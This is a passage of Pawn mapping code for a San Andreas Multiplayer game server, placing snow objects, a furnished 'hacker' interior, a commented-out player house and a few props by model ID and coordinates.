AddSnowObject(7488, 1973.010, 2358.159, 9.820, 0.000, 0.000, 0.000, 145.5);
AddSnowObject(7529, 2018.160, 2305.739, 12.531, 0.000, 0.000, 0.000, 141.5);
AddSnowObject(3457, 1853.420, 2659.250, 12.976, 0.000, 0.000, 0.000, 144.2);
AddSnowObject(7841, 1858.550, 2691.729, 12.890, 0.000, 0.000, 0.000, 138.1);
AddSnowObject(7533, 1839.150, 2750.820, 13.015, 0.000, 0.000, 0.000, 134.6);
AddSnowObject(7920, 1906.939, 2754.250, 11.234, 0.000, 0.000, 0.000, 132.7);
AddSnowObject(7840, 1957.510, 2694.129, 12.890, 0.000, 0.000, 0.000, 139.5);
AddSnowObject(7503, 1980.040, 2694.139, 9.843, 0.000, 0.000, 0.000, 218.2);
AddSnowObject(7839, 2033.869, 2694.129, 12.890, 0.000, 0.000, 0.000, 142.4);
AddSnowObject(7534, 1880.310, 2791.979, 13.015, 0.000, 0.000, 0.000, 134.6);
AddSnowObject(7530, 942.593, 1733.229, 13.281, 0.000, 0.000, 0.000, 217.0);
AddSnowObject(7696, 942.593, 1733.229, 13.281, 0.000, 0.000, 0.000, 173.1);
AddSnowObject(7681, 1462.349, 1894.890, 12.578, 0.000, 0.000, 0.000, 142.3);
AddSnowObject(3455, 1530.479, 1899.699, 12.976, 0.000, 0.000, 0.000, 135.5);
AddSnowObject(3457, 1539.739, 1947.270, 12.976, 0.000, 0.000, 0.000, 144.2);
AddSnowObject(7556, 1107.160, 2223.850, 12.609, 0.000, 0.000, 0.000, 171.7);
AddSnowObject(7492, 1028.160, 2240.770, 13.398, 0.000, 0.000, 0.000, 157.0);
AddSnowObject(7494, 1044.520, 2347.929, 13.398, 0.000, 0.000, 0.000, 133.5);
AddSnowObject(7612, 1477.300, 2299.570, 12.195, 0.000, 0.000, 0.000, 182.6);
AddSnowObject(7510, 1370.359, 2351.060, 13.468, 0.000, 0.000, -0.000, 140.0);
AddSnowObject(7513, 1517.390, 2343.280, 9.820, 0.000, 0.000, 0.000, 168.4);
AddSnowObject(7613, 1553.729, 2243.229, 11.218, 0.000, 0.000, 0.000, 160.1);
AddSnowObject(7624, 1170.300, 2667.520, 14.328, 0.000, 0.000, 0.000, 176.9);
AddSnowObject(7939, 1214.489, 2723.729, 11.375, 0.000, 0.000, 0.000, 150.2);
AddSnowObject(7501, 1301.910, 2634.229, 9.843, 0.000, 0.000, 0.000, 180.2);
AddSnowObject(7504, 1311.030, 2723.729, 11.375, 0.000, 0.000, 0.000, 146.3);
AddSnowObject(7623, 1322.089, 2634.270, 12.890, 0.000, 0.000, 0.000, 164.2);
AddSnowObject(7500, 1431.910, 2634.270, 10.101, 0.000, 0.000, 0.000, 150.2);
AddSnowObject(7511, 1452.640, 2667.449, 17.195, 0.000, 0.000, 0.000, 194.2);
AddSnowObject(7512, 1452.640, 2667.449, 17.195, 0.000, 0.000, 0.000, 154.2);
AddSnowObject(7505, 1437.390, 2723.729, 11.375, 0.000, 0.000, 0.000, 178.5);
AddSnowObject(7885, 1435.880, 2773.790, 9.820, 0.000, 0.000, 0.000, 148.7);
AddSnowObject(7664, 1447.949, 2853.040, 11.375, 0.000, 0.000, 0.000, 142.4);
AddSnowObject(7838, 1527.119, 2634.270, 12.890, 0.000, 0.000, 0.000, 149.5);
AddSnowObject(7425, 1491.189, 2773.760, 9.820, 0.000, 0.000, 0.000, 139.0);
AddSnowObject(7665, 1506.270, 2859.909, 11.375, 0.000, 0.000, 0.000, 136.5);
AddSnowObject(7423, 1524.550, 2773.229, 9.820, 0.000, 0.000, 0.000, 157.7);
AddSnowObject(7502, 1553.900, 2634.229, 9.843, 0.000, 0.000, 0.000, 174.2);
AddSnowObject(7519, 1597.390, 1943.219, 9.921, 0.000, 0.000, 0.000, 216.6);
AddSnowObject(7518, 1663.439, 1911.199, 12.976, 0.000, 0.000, 0.000, 212.7);
AddSnowObject(3455, 1663.439, 1899.699, 12.976, 0.000, 0.000, 0.000, 135.5);
AddSnowObject(3457, 1621.349, 1988.199, 12.976, 0.000, 0.000, 0.000, 144.2);
AddSnowObject(7525, 1755.430, 2107.429, 12.945, 0.000, 0.000, 0.000, 166.5);
AddSnowObject(7560, 1755.430, 2107.429, 12.945, 0.000, 0.000, 0.000, 164.2);
AddSnowObject(7426, 1844.069, 2135.590, 20.687, 0.000, 0.000, 0.000, 186.4);
AddSnowObject(7971, 1602.420, 2199.159, 14.648, 0.000, 0.000, 0.000, 137.2);
AddSnowObject(7509, 1693.979, 2221.409, 14.718, 0.000, 0.000, 0.000, 136.5);
AddSnowObject(7532, 1647.390, 2243.250, 10.929, 0.000, 0.000, 0.000, 172.8);
AddSnowObject(7521, 1679.000, 2248.070, 12.007, 0.000, 0.000, 0.000, 152.1);
AddSnowObject(7554, 1758.900, 2214.469, 13.554, 0.000, 0.000, 0.000, 143.2);
AddSnowObject(7495, 1126.969, 2018.640, 13.398, 0.000, 0.000, 0.000, 133.5);
AddSnowObject(7627, 969.625, 2082.139, 14.179, 0.000, 0.000, 0.000, 180.9);
AddSnowObject(7540, 1147.300, 2075.949, 9.937, 0.000, 0.000, 0.000, 144.5);
AddSnowObject(7973, 1144.260, 2075.489, 10.843, 0.000, 0.000, 0.000, 137.9);
AddSnowObject(7497, 1066.410, 2110.760, 14.414, 0.000, 0.000, 0.000, 185.5);
AddSnowObject(7619, 1066.410, 2110.760, 14.414, 0.000, 0.000, 0.000, 134.1);
AddSnowObject(7832, 1066.410, 2110.760, 14.414, 0.000, 0.000, 0.000, 142.3);
AddSnowObject(7493, 966.359, 2140.969, 13.398, 0.000, 0.000, 0.000, 147.3);
AddSnowObject(7611, 1327.410, 2064.860, 12.195, 0.000, 0.000, 0.000, 170.1);
AddSnowObject(7615, 1457.400, 2064.870, 12.195, 0.000, 0.000, 0.000, 160.0);
AddSnowObject(7523, 1477.390, 2013.030, 9.921, 0.000, 0.000, 0.000, 185.0);
AddSnowObject(7524, 1477.390, 2013.229, 10.570, 0.000, 0.000, 0.000, 185.4);
AddSnowObject(7614, 1535.760, 2124.760, 12.195, 0.000, 0.000, 0.000, 165.5);
AddSnowObject(7587, 2033.170, 1813.780, 9.742, 0.000, 0.000, 0.000, 181.5);
AddSnowObject(7589, 2027.310, 1991.800, 8.203, 0.000, 0.000, 0.000, 179.3);
AddSnowObject(7581, 2062.020, 1916.260, 10.812, 0.000, 0.000, 0.000, 175.4);
AddSnowObject(7588, 2083.590, 1917.770, 14.023, 0.000, 0.000, 0.000, 151.6);
AddSnowObject(7954, 2117.300, 1827.699, 10.468, 0.000, 0.000, 0.000, 149.3);
AddSnowObject(7583, 2105.520, 1916.290, 14.890, 0.000, 0.000, 0.000, 162.4);
AddSnowObject(7953, 2137.199, 1935.560, 10.468, 0.000, 0.000, 0.000, 158.5);
AddSnowObject(7972, 1880.839, 2075.100, 11.085, 0.000, 0.000, 0.000, 143.9);
AddSnowObject(7526, 1949.030, 2068.780, 12.109, 0.000, 0.000, 0.000, 146.7);
AddSnowObject(7528, 1875.050, 2200.659, 9.820, 0.000, 0.000, 0.000, 156.7);
AddSnowObject(7919, 1875.050, 2200.659, 9.820, 0.000, 0.000, 0.000, 144.2);
AddSnowObject(7507, 1963.550, 2159.729, 12.132, 0.000, 0.000, -0.000, 144.5);
AddSnowObject(7489, 2020.369, 2165.189, 9.820, 0.000, 0.000, -0.000, 147.0);
AddSnowObject(7531, 2074.760, 2048.070, 9.843, 0.000, 0.000, 0.000, 166.3);
AddSnowObject(7918, 2074.760, 2048.070, 9.843, 0.000, 0.000, 0.000, 167.7);
AddSnowObject(7599, 2093.979, 2123.219, 10.875, 0.000, 0.000, 0.000, 135.6);
AddSnowObject(7952, 2137.199, 2079.909, 10.531, 0.000, 0.000, 0.000, 140.4);
AddSnowObject(7596, 2082.709, 2171.600, 14.273, 0.000, 0.000, 0.000, 135.6);
AddSnowObject(7506, 2080.370, 2247.510, 15.023, 0.000, 0.000, -179.999, 154.6);
AddSnowObject(6006, 2786.540, 1065.020, 14.796, 0.000, 0.000, 0.000, 137.3);
AddSnowObject(6007, 2754.320, 1047.160, 15.312, 0.000, 0.000, 0.000, 155.5);
AddSnowObject(6035, 1457.500, 2030.050, 17.062, 0.000, 0.000, 0.000, 174.0);
AddSnowObject(6036, 1530.479, 1899.699, 12.976, 0.000, 0.000, 0.000, 130.0);
AddSnowObject(6037, 1684.050, 1976.849, 12.898, 0.000, 0.000, 0.000, 142.9);
AddSnowObject(6038, 1621.349, 1988.199, 12.976, 0.000, 0.000, 0.000, 158.5);
AddSnowObject(6039, 1620.900, 1953.109, 11.343, 0.000, 0.000, 0.000, 134.0);
AddSnowObject(6040, 1676.420, 2154.909, 17.320, 0.000, 0.000, 0.000, 134.2);
AddSnowObject(6042, 2551.969, 1484.410, 11.328, 0.000, 0.000, 0.000, 158.7);
AddSnowObject(6047, 2127.770, 2186.600, 10.578, 0.000, 0.000, 0.000, 133.1);
AddSnowObject(6048, 2127.750, 2183.239, 10.578, 0.000, 0.000, 0.000, 207.7);
AddSnowObject(6049, 2620.770, 2057.300, 12.937, 0.000, 0.000, 0.000, 139.5);
AddSnowObject(6051, 1975.819, 1033.520, 8.750, 0.000, 0.000, 0.000, 189.3);
AddSnowObject(6053, 2620.770, 2057.300, 12.937, 0.000, 0.000, 0.000, 140.3);
AddSnowObject(6054, 2523.969, 2818.489, 16.742, 0.000, 0.000, 0.000, 207.5);
AddSnowObject(6055, 2522.969, 2814.989, 20.226, 0.000, 0.000, 0.000, 176.6);
}
// End of Barf (Snow on whole San Andreas)

// Hacker Interior
CreateDynamicObject(14597, 360.92227, 105.96824, 1028.20728,   0.00000, 0.00000, 0.00000, .worldid=40017);
CreateDynamicObject(3095, 374.65421, 104.60905, 1027.97571,   -90.78000, 2.28000, 92.27999, .worldid=40017);
CreateDynamicObject(1557, 374.13263, 105.03609, 1026.15295,   0.00000, 0.00000, 90.11998, .worldid=40017);
CreateDynamicObject(1557, 374.10992, 107.53805, 1026.15576,   0.00000, 0.00000, 270.72015, .worldid=40017);
CreateDynamicObject(2604, 369.19333, 96.00976, 1027.00134,   0.00000, 0.00000, 12.48000, .worldid=40017);
CreateDynamicObject(16782, 347.88049, 106.04943, 1027.89856,   0.00000, 0.00000, 1.44001, .worldid=40017);
CreateDynamicObject(2164, 348.26889, 108.83432, 1026.21143,   0.00000, 0.00000, 0.00000, .worldid=40017);
CreateDynamicObject(2164, 350.04587, 108.85354, 1026.21143,   0.00000, 0.00000, 0.00000, .worldid=40017);
CreateDynamicObject(2001, 356.12027, 108.45810, 1026.19275,   0.00000, 0.00000, 0.00000, .worldid=40017);
CreateDynamicObject(2002, 373.53638, 107.84535, 1026.15173,   0.00000, 0.00000, 271.44025, .worldid=40017);
CreateDynamicObject(1806, 370.23526, 94.77332, 1026.18347,   0.00000, 0.00000, 43.92001, .worldid=40017);
CreateDynamicObject(2001, 365.04346, 92.68200, 1026.17969,   0.00000, 0.00000, 0.00000, .worldid=40017);
CreateDynamicObject(2637, 367.46640, 114.67513, 1026.59119,   0.00000, 0.00000, -0.60000, .worldid=40017);
CreateDynamicObject(2637, 369.46829, 114.64599, 1026.59119,   0.00000, 0.00000, -0.60000, .worldid=40017);
CreateDynamicObject(3077, 368.08652, 119.47842, 1026.13428,   0.00000, 0.00000, 0.00000, .worldid=40017);
CreateDynamicObject(1671, 367.03162, 113.59111, 1026.65894,   0.00000, 0.00000, 156.23999, .worldid=40017);
CreateDynamicObject(1671, 367.96127, 113.09457, 1026.65894,   0.00000, 0.00000, 185.15996, .worldid=40017);
CreateDynamicObject(1671, 369.04309, 113.22639, 1026.65894,   0.00000, 0.00000, 175.25996, .worldid=40017);
CreateDynamicObject(1671, 370.30777, 113.25237, 1026.65894,   0.00000, 0.00000, 188.21996, .worldid=40017);
CreateDynamicObject(1671, 371.36691, 114.19093, 1026.65894,   0.00000, 0.00000, 225.53995, .worldid=40017);
CreateDynamicObject(1671, 365.84985, 114.38390, 1026.65894,   0.00000, 0.00000, 146.40001, .worldid=40017);
CreateDynamicObject(1671, 371.10623, 119.03730, 1026.65894,   0.00000, 0.00000, 341.82031, .worldid=40017);
CreateDynamicObject(1671, 365.36496, 119.03481, 1026.65894,   0.00000, 0.00000, 351.60031, .worldid=40017);
CreateDynamicObject(1827, 358.27277, 111.13929, 1026.15881,   0.00000, 0.00000, -0.42000, .worldid=40017);
CreateDynamicObject(1550, 357.09543, 103.19383, 1026.56616,   13.38001, -1.86000, 0.00000, .worldid=40017);
CreateDynamicObject(1550, 357.22009, 108.83985, 1026.52710,   14.88000, -5.46000, 177.41995, .worldid=40017);
CreateDynamicObject(3806, 358.23807, 119.19383, 1026.51355,   0.00000, 0.00000, 267.89999, .worldid=40017);
CreateDynamicObject(2009, 362.30801, 116.21443, 1026.17908,   0.00000, 0.00000, 179.15997, .worldid=40017);
CreateDynamicObject(1212, 357.92081, 111.12899, 1026.58533,   0.00000, 0.00000, 63.66000, .worldid=40017);
CreateDynamicObject(1212, 358.02972, 111.08743, 1026.58533,   0.00000, 0.00000, 63.66000, .worldid=40017);
CreateDynamicObject(1212, 358.14218, 111.02617, 1026.58533,   0.00000, 0.00000, 63.66000, .worldid=40017);
CreateDynamicObject(1212, 358.34470, 111.14346, 1026.58533,   0.00000, 0.00000, 55.32000, .worldid=40017);
CreateDynamicObject(1212, 358.28836, 110.88966, 1026.58533,   0.00000, 0.00000, 15.83999, .worldid=40017);
CreateDynamicObject(1212, 358.50357, 111.04983, 1026.58533,   0.00000, 0.00000, 36.66000, .worldid=40017);
CreateDynamicObject(1212, 357.86783, 110.85548, 1026.58533,   0.00000, 0.00000, -24.12000, .worldid=40017);
CreateDynamicObject(1212, 358.17493, 110.72730, 1026.58533,   0.00000, 0.00000, -0.42000, .worldid=40017);
CreateDynamicObject(1212, 358.12045, 111.48959, 1026.58533,   0.00000, 0.00000, -6.06000, .worldid=40017);
CreateDynamicObject(1212, 358.50394, 110.70459, 1026.58533,   0.00000, 0.00000, 8.52000, .worldid=40017);
CreateDynamicObject(1212, 358.39035, 111.45637, 1026.58533,   0.00000, 0.00000, 8.52000, .worldid=40017);
CreateDynamicObject(1485, 358.75668, 111.65221, 1026.56665,   26.52000, -1.74000, 58.92000, .worldid=40017);
CreateDynamicObject(2009, 360.40039, 116.27503, 1026.17908,   0.00000, 0.00000, 179.15997, .worldid=40017);
CreateDynamicObject(1806, 361.47888, 116.18571, 1026.18323,   0.00000, 0.00000, 161.40001, .worldid=40017);
CreateDynamicObject(1806, 359.14526, 116.37424, 1026.17749,   0.00000, 0.00000, 192.53999, .worldid=40017);
CreateDynamicObject(19166, 356.97394, 116.72852, 1027.84680,   -270.05988, 412.08020, 37.97998, .worldid=40017);
//CreateDynamicObject(19808, 361.70831, 115.40327, 1026.99451,   0.00000, 0.00000, 159.23996, .worldid=40017);
CreateDynamicObject(19807, 360.43887, 115.57378, 1027.02100,   0.00000, 0.00000, 155.75999, .worldid=40017);
CreateDynamicObject(2292, 363.96774, 92.75641, 1026.20740,   0.00000, 0.00000, 182.33992, .worldid=40017);
CreateDynamicObject(2291, 363.58542, 92.72852, 1026.19653,   0.00000, 0.00000, 181.86000, .worldid=40017);
CreateDynamicObject(2291, 362.72528, 92.69175, 1026.19653,   0.00000, 0.00000, 181.86000, .worldid=40017);
CreateDynamicObject(2291, 361.81644, 92.75105, 1026.19653,   0.00000, 0.00000, 181.86000, .worldid=40017);
CreateDynamicObject(2291, 360.91666, 92.71562, 1026.19653,   0.00000, 0.00000, 181.86000, .worldid=40017);
CreateDynamicObject(2291, 360.03470, 92.69885, 1026.19653,   0.00000, 0.00000, 181.86000, .worldid=40017);
CreateDynamicObject(2291, 359.14285, 92.65486, 1026.19653,   0.00000, 0.00000, 181.86000, .worldid=40017);
CreateDynamicObject(2291, 358.25546, 92.63036, 1026.19653,   0.00000, 0.00000, 181.86000, .worldid=40017);
CreateDynamicObject(2292, 357.24902, 92.64316, 1026.20740,   0.00000, 0.00000, 447.77966, .worldid=40017);
CreateDynamicObject(1827, 363.05563, 94.29652, 1026.15991,   0.00000, 0.00000, 0.00000, .worldid=40017);
CreateDynamicObject(1827, 360.49899, 94.45095, 1026.15991,   0.00000, 0.00000, 0.00000, .worldid=40017);
CreateDynamicObject(1827, 358.11465, 94.31911, 1026.15991,   0.00000, 0.00000, 0.00000, .worldid=40017);
CreateDynamicObject(950, 357.21225, 101.86576, 1026.72949,   0.00000, 0.00000, 87.18002, .worldid=40017);
CreateDynamicObject(950, 357.22913, 100.72813, 1026.72949,   0.00000, 0.00000, 89.22001, .worldid=40017);
CreateDynamicObject(19806, 360.37943, 98.22295, 1029.37817,   0.00000, 0.00000, 0.00000, .worldid=40017);



// New Mapping by Sina ( House Edited Behrooz ) ( HouseID: 389 )
/*
CreateDynamicObject(987, 1002.94299, -694.87164, 123.68479,   0.00000, 0.00000, 29.10001);
CreateDynamicObject(987, 992.57306, -700.83331, 123.65242,   0.00000, 0.00000, 29.76001);
CreateDynamicObject(987, 981.93970, -706.30457, 123.63751,   0.00000, 0.00000, 27.00001);
CreateDynamicObject(987, 971.57111, -712.33392, 123.66664,   0.00000, 0.00000, 29.58005);
CreateDynamicObject(987, 968.40753, -714.13953, 123.61836,   0.00000, 0.00000, 30.24000);
CreateDynamicObject(987, 963.31061, -703.22943, 123.51335,   0.00000, 0.00000, 295.56070);
CreateDynamicObject(987, 958.24988, -692.32849, 123.57739,   0.00000, 0.00000, -64.20000);
CreateDynamicObject(987, 952.21350, -682.00342, 123.52689,   0.00000, 0.00000, -59.28001);
CreateDynamicObject(987, 947.00079, -672.85443, 123.50378,   0.00000, 0.00000, -60.54000);
CreateDynamicObject(987, 957.64771, -666.92029, 123.54414,   0.00000, 0.00000, -149.57953);
CreateDynamicObject(987, 967.85388, -660.82574, 123.53792,   0.00000, 0.00000, -149.09991);
CreateDynamicObject(987, 977.04901, -654.84686, 123.53353,   0.00000, 0.00000, -147.29993);
CreateDynamicObject(987, 988.07184, -650.49347, 123.55354,   0.00000, 0.00000, -158.21976);
CreateDynamicObject(987, 998.36151, -645.83521, 123.40144,   0.00000, 0.00000, -155.27974);
CreateDynamicObject(987, 1015.16840, -652.55780, 122.36826,   0.00000, 0.00000, 124.02005);
CreateDynamicObject(987, 1022.26019, -662.15039, 122.46297,   0.00000, 0.00000, 126.23993);
CreateDynamicObject(987, 1026.37231, -667.39465, 122.85481,   0.00000, 0.00000, 124.49999);
CreateDynamicObject(987, 1013.28052, -689.09442, 123.58653,   0.00000, 0.00000, 59.34007);
CreateDynamicObject(987, 1019.24689, -678.99500, 123.68503,   0.00000, 0.00000, 57.90005);
CreateDynamicObject(987, 1020.34686, -676.96924, 123.53874,   0.00000, 0.00000, 58.13998);
CreateDynamicObject(19128, 969.41772, -684.72583, 120.91040,   0.00000, 0.00000, 30.78000);
CreateDynamicObject(19128, 972.83112, -682.69958, 120.91040,   0.00000, 0.00000, 30.78000);
CreateDynamicObject(19128, 967.36627, -681.29370, 120.91040,   0.00000, 0.00000, 30.78000);
CreateDynamicObject(19128, 970.81097, -679.27740, 120.91040,   0.00000, 0.00000, 30.78000);
CreateDynamicObject(1705, 994.47412, -670.98517, 120.94418,   0.00000, 0.00000, 210.24008);
CreateDynamicObject(1705, 992.94684, -671.89368, 120.94001,   0.00000, 0.00000, -149.76013);
CreateDynamicObject(1827, 992.41412, -670.12653, 120.93604,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(336, 992.20251, -669.48431, 121.45960,   -10.62001, 88.80000, 0.00000);
CreateDynamicObject(347, 992.25159, -669.93060, 121.35435,   90.96009, 201.11992, 15.78002);
CreateDynamicObject(1212, 992.24304, -670.59033, 121.36231,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1212, 992.40985, -670.28326, 121.36339,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1669, 992.80768, -670.27563, 121.54508,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1232, 991.85413, -651.97247, 122.89969,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1232, 986.60022, -654.83728, 122.89969,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1232, 981.57733, -657.92218, 122.89969,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1232, 975.85358, -661.17725, 122.89969,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1232, 970.47833, -664.81445, 122.89969,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1232, 965.59058, -667.58649, 122.89969,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1232, 960.60498, -670.33142, 122.89969,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1232, 955.03320, -673.13116, 122.89969,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1232, 954.85022, -678.20801, 122.89969,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1232, 957.44910, -683.14453, 122.89969,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2964, 989.36780, -673.07355, 120.49056,   0.00000, 0.00000, 31.62000);
CreateDynamicObject(6965, 1009.49176, -666.78351, 123.77552,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(6964, 1009.42737, -666.71289, 120.03211,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1281, 1006.12665, -679.57294, 120.93086,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(3749, 1001.42023, -644.58392, 125.62585,   0.00000, 0.00000, 21.71999);
sinadoor1 = CreateDynamicObject(980, 1002.15417, -643.66583, 122.97105,   0.00000, 0.00000, 25.98000);
CreateDynamicObject(9833, 1009.11023, -666.77826, 129.67796,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(718, 959.55505, -688.60602, 120.75037,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(718, 963.38562, -697.57330, 120.75037,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(718, 969.20471, -708.86761, 120.75037,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19128, 966.41199, -686.37927, 120.91040,   0.00000, 0.00000, 30.78000);
CreateDynamicObject(19128, 964.55432, -683.16724, 120.91040,   0.00000, 0.00000, 30.78000);
CreateDynamicObject(19130, 980.15594, -678.39453, 123.41545,   42.84003, -3.54003, -55.14000);
CreateDynamicObject(19130, 981.52686, -677.60266, 123.41545,   42.60003, 0.41997, 121.86000);
CreateDynamicObject(16782, 986.69690, -676.39856, 122.28892,   0.00000, 0.00000, 121.01998);
CreateDynamicObject(1999, 977.19562, -681.27112, 120.87211,   0.00000, 0.00000, 194.16016);
CreateDynamicObject(1671, 976.43860, -680.41925, 121.41304,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(3471, 982.94775, -675.93262, 121.71487,   0.00000, 0.00000, 121.56000);
CreateDynamicObject(3471, 978.08636, -678.64270, 121.71490,   0.00000, 0.00000, 122.94000);
CreateDynamicObject(11728, 982.11914, -676.79700, 122.59058,   0.00000, 0.00000, 212.93979);
CreateDynamicObject(1594, 1014.67664, -680.74695, 120.77499,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1825, 1010.60138, -654.70190, 120.11591,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2350, 1005.79352, -655.26855, 120.45901,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2350, 1003.12976, -657.39557, 120.45901,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2350, 1005.16779, -656.63763, 120.45901,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2350, 1008.46887, -655.78528, 120.45901,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(3462, 1009.87903, -651.08398, 120.99389,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1227, 1009.52875, -645.56763, 121.07399,   0.00000, 0.00000, -54.00000);
CreateDynamicObject(19608, 971.68982, -683.62213, 120.81433,   0.00000, 0.00000, 212.46001);
CreateDynamicObject(19609, 974.00024, -682.36188, 120.97094,   0.00000, 0.00000, 195.65996);
CreateDynamicObject(19609, 969.55621, -685.12665, 120.97094,   0.00000, 0.00000, 232.91991);
CreateDynamicObject(19609, 971.56506, -683.61884, 120.97094,   0.00000, 0.00000, 210.89993);
CreateDynamicObject(19076, 993.81586, -665.87634, 120.51890,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1550, 982.01160, -677.71240, 121.26611,   14.94000, 5.70000, 49.44002);
CreateDynamicObject(1550, 981.89032, -677.40234, 121.26611,   14.94000, 5.70000, 1.86003);
CreateDynamicObject(1550, 988.69891, -674.38129, 121.26611,   14.94000, 5.70000, -47.45998);
CreateDynamicObject(1550, 980.09625, -678.83990, 121.26611,   14.94000, 5.70000, -40.19999);
CreateDynamicObject(1550, 979.90375, -678.53503, 121.26611,   14.94000, 5.70000, -111.47997);
CreateDynamicObject(3524, 993.76758, -645.53680, 127.75730,   0.00000, 0.00000, 204.12001);
CreateDynamicObject(3524, 1007.35028, -640.15497, 127.75730,   0.00000, 0.00000, 204.12001);
CreateDynamicObject(2921, 975.84521, -681.15906, 124.14436,   0.00000, 0.00000, -86.09998);
CreateDynamicObject(3532, 998.63885, -649.16656, 120.80571,   0.00000, 0.00000, -2.82000);
CreateDynamicObject(3532, 998.22076, -652.99884, 120.80571,   0.00000, 0.00000, -18.72000);
CreateDynamicObject(3532, 995.51788, -654.96429, 120.80571,   0.00000, 0.00000, -80.27997);
CreateDynamicObject(3532, 992.00262, -655.66205, 120.80571,   0.00000, 0.00000, -74.15997);
CreateDynamicObject(3532, 988.05322, -657.13599, 120.80571,   0.00000, 0.00000, -64.61997);
CreateDynamicObject(3532, 984.69537, -658.75165, 120.80571,   0.00000, 0.00000, -61.55996);
CreateDynamicObject(3532, 981.46417, -660.55688, 120.80571,   0.00000, 0.00000, -58.79996);
CreateDynamicObject(3532, 977.86804, -662.89227, 120.80571,   0.00000, 0.00000, -58.79996);
CreateDynamicObject(3532, 974.37177, -664.36938, 120.80571,   0.00000, 0.00000, -69.71996);
CreateDynamicObject(3532, 970.94116, -666.22742, 120.80571,   0.00000, 0.00000, -57.53996);
CreateDynamicObject(3532, 967.57983, -668.17206, 120.80571,   0.00000, 0.00000, -57.53996);
CreateDynamicObject(3532, 964.42828, -669.93414, 120.80571,   0.00000, 0.00000, -58.13996);
CreateDynamicObject(3532, 960.95245, -672.02997, 120.80571,   0.00000, 0.00000, -60.23997);
CreateDynamicObject(3532, 958.02246, -673.44122, 120.80571,   0.00000, 0.00000, -60.23997);
CreateDynamicObject(3532, 956.62646, -675.69489, 120.80571,   0.00000, 0.00000, 17.40002);
CreateDynamicObject(3532, 957.95483, -679.24774, 120.80571,   0.00000, 0.00000, 25.80002);
CreateDynamicObject(3532, 959.86719, -683.13245, 120.80571,   0.00000, 0.00000, 31.74002);
CreateDynamicObject(3532, 961.51837, -686.25458, 120.80571,   0.00000, 0.00000, 31.74002);
CreateDynamicObject(3532, 963.69507, -689.57819, 120.80571,   0.00000, 0.00000, 31.74002);
CreateDynamicObject(3532, 965.59808, -693.06146, 120.80571,   0.00000, 0.00000, 31.74002);
CreateDynamicObject(3532, 967.23407, -696.28778, 120.80571,   0.00000, 0.00000, 29.28002);
CreateDynamicObject(3532, 969.08124, -699.41504, 120.80571,   0.00000, 0.00000, 29.28002);
CreateDynamicObject(3532, 970.55609, -702.06152, 120.80571,   0.00000, 0.00000, 29.28002);
CreateDynamicObject(3532, 971.25134, -703.89410, 120.80571,   0.00000, 0.00000, 29.28002);
CreateDynamicObject(3532, 973.09210, -707.02545, 121.16212,   0.00000, 0.00000, 37.44002);
CreateDynamicObject(3532, 1007.73480, -646.96808, 120.70299,   0.00000, 0.00000, 7.62000);
CreateDynamicObject(3532, 1009.84796, -649.18658, 120.70299,   0.00000, 0.00000, 40.80000);
CreateDynamicObject(18102, 980.13104, -686.05450, 124.09173,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(18102, 979.76416, -688.57404, 124.33073,   0.00000, 0.00000, -31.56000);
CreateDynamicObject(18102, 976.22034, -692.52423, 124.33073,   0.00000, 0.00000, -31.56000);
CreateDynamicObject(1892, 980.47528, -678.23071, 120.93394,   0.00000, 0.00000, 31.79999);
CreateDynamicObject(946, 990.71033, -660.31714, 122.24128,   0.00000, 0.00000, 118.85999);
CreateDynamicObject(946, 984.17145, -663.58191, 122.24130,   0.00000, 0.00000, -62.75999);
CreateDynamicObject(1828, 978.97223, -675.06903, 120.93880,   0.00000, 0.00000, 123.71999);
CreateDynamicObject(3528, 980.58405, -677.25330, 129.78914,   0.00000, 0.00000, 116.58002);
CreateDynamicObject(19054, 992.45721, -667.29718, 121.48294,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19054, 991.86578, -665.31177, 121.48294,   0.00000, 0.00000, -16.80000);
CreateDynamicObject(19054, 995.54712, -667.94495, 121.48294,   0.00000, 0.00000, -36.42000);
CreateDynamicObject(19315, 988.62213, -655.44110, 120.59299,   0.00000, 0.00000, 34.44000);
CreateDynamicObject(19315, 985.37335, -656.30469, 120.59299,   0.00000, 0.00000, -84.78001);
CreateDynamicObject(19315, 979.69427, -659.40082, 120.59299,   0.00000, 0.00000, -100.50001);
*/
// End Of New Mapping Ranger ( Edited House Behrooz ) ( HouseID: 389 )
// Box Mapping
CreateDynamicObject(2604, 1369.21533, -1152.57007, 23.55954,   0.00000, 0.00000, 39.77999);// Miz
CreateDynamicObject(1671, 1369.10901, -1154.01965, 23.29696,   0.00000, 0.00000, -132.24026);// Sandali
CreateDynamicObject(19055, 1366.66541, -1154.08069, 23.43551,   0.00000, 0.00000, 80.16000);// Boxe zard
CreateDynamicObject(19056, 1370.76343, -1150.05847, 23.44552,   0.00000, 0.00000, 78.66000);// Boxe rangi
